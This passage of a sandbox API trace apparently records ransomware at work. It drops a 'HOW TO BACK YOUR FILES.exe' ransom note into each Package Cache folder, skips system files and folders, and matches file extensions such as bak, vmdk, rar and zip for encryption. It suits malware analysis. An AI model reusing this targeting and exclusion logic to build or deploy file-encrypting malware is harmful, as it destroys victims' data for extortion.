	[0050.619] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0050.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0050.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0050.619] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 67
	[0050.619] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0050.619] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.619] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.620] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.620] GetLastError () returned 0x0
	[0050.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.620] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.620] CloseHandle (hObject=0x15c) returned 1
	[0050.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.620] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.620] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.620] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.620] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.620] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm"
	[0050.620] lstrlenW (lpString="state.rsm") returned 9
	[0050.620] lstrlenW (lpString="Apollon865") returned 10
	[0050.620] lstrlenW (lpString=".dll") returned 4
	[0050.620] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1
	[0050.621] lstrlenW (lpString=".lnk") returned 4
	[0050.621] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1
	[0050.621] lstrlenW (lpString=".ini") returned 4
	[0050.621] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1
	[0050.621] lstrlenW (lpString=".sys") returned 4
	[0050.621] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1
	[0050.621] lstrlenW (lpString="state.rsm") returned 9
	[0050.621] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="vcredist_x64.exe" | out: lpString1="vcredist_x64.exe") returned="vcredist_x64.exe"
	[0050.621] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0050.621] lstrlenW (lpString="Apollon865") returned 10
	[0050.621] lstrcmpiW (lpString1="st_x64.exe", lpString2="Apollon865") returned 1
	[0050.621] lstrlenW (lpString=".dll") returned 4
	[0050.621] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".dll") returned 1
	[0050.621] lstrlenW (lpString=".lnk") returned 4
	[0050.621] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".lnk") returned 1
	[0050.621] lstrlenW (lpString=".ini") returned 4
	[0050.621] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".ini") returned 1
	[0050.621] lstrlenW (lpString=".sys") returned 4
	[0050.621] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".sys") returned 1
	[0050.621] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0050.621] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0050.621] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599590 | out: hHeap=0x580000) returned 1
	[0050.621] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0050.621] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 78
	[0050.621] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0050.621] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.621] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.622] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.622] GetLastError () returned 0x0
	[0050.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.622] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.622] CloseHandle (hObject=0x15c) returned 1
	[0050.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.622] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.622] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.622] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.622] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.622] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0050.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599590
	[0050.626] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0050.626] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.626] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.626] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0050.626] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0050.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599590 | out: hHeap=0x580000) returned 1
	[0050.626] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0050.626] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned 87
	[0050.626] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0050.626] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.626] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.627] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.627] GetLastError () returned 0x0
	[0050.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.627] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.627] CloseHandle (hObject=0x15c) returned 1
	[0050.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.627] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.627] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.627] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.627] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.627] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.627] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.627] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.628] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.628] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.628] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.628] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5ec850, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.628] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.628] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="Apollon865.txt.exe") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2=".") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="..") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="windows") returned -1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="bootmgr") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="temp") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="pagefile.sys") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="boot") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="ids.txt") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="ntuser.dat") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="perflogs") returned 1
	[0050.628] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="MSBuild") returned 1
	[0050.628] lstrlenW (lpString="vcRuntimeAdditional_amd64") returned 25
	[0050.628] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned 89
	[0050.628] lstrcpyW (in: lpString1=0x2d3e600, lpString2="vcRuntimeAdditional_amd64" | out: lpString1="vcRuntimeAdditional_amd64") returned="vcRuntimeAdditional_amd64"
	[0050.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0050.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe4) returned 0x5afa60
	[0050.628] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0050.628] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.628] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.628] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0050.628] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0050.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0050.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0050.629] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned 113
	[0050.629] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0050.629] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.629] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.629] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.629] GetLastError () returned 0x0
	[0050.629] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.629] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.629] CloseHandle (hObject=0x15c) returned 1
	[0050.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.629] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.629] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.630] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.630] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.630] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.630] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.630] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.630] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.630] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.630] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.630] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87bcb00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0xa87bcb00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0xa87bcb00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0050.630] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0050.630] lstrlenW (lpString="cab1.cab") returned 8
	[0050.630] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned 115
	[0050.630] lstrcpyW (in: lpString1=0x2d3e634, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.630] lstrlenW (lpString="cab1.cab") returned 8
	[0050.630] lstrlenW (lpString="Apollon865") returned 10
	[0050.630] lstrlenW (lpString=".dll") returned 4
	[0050.631] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.631] lstrlenW (lpString=".lnk") returned 4
	[0050.631] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.631] lstrlenW (lpString=".ini") returned 4
	[0050.631] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.631] lstrlenW (lpString=".sys") returned 4
	[0050.631] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.631] lstrlenW (lpString="cab1.cab") returned 8
	[0050.631] lstrlenW (lpString="bak") returned 3
	[0050.631] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0050.631] lstrlenW (lpString="ba_") returned 3
	[0050.631] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0050.631] lstrlenW (lpString="dbb") returned 3
	[0050.631] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0050.631] lstrlenW (lpString="vmdk") returned 4
	[0050.631] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0050.631] lstrlenW (lpString="rar") returned 3
	[0050.631] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0050.631] lstrlenW (lpString="zip") returned 3
	[0050.631] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0050.631] lstrlenW (lpString="tgz") returned 3
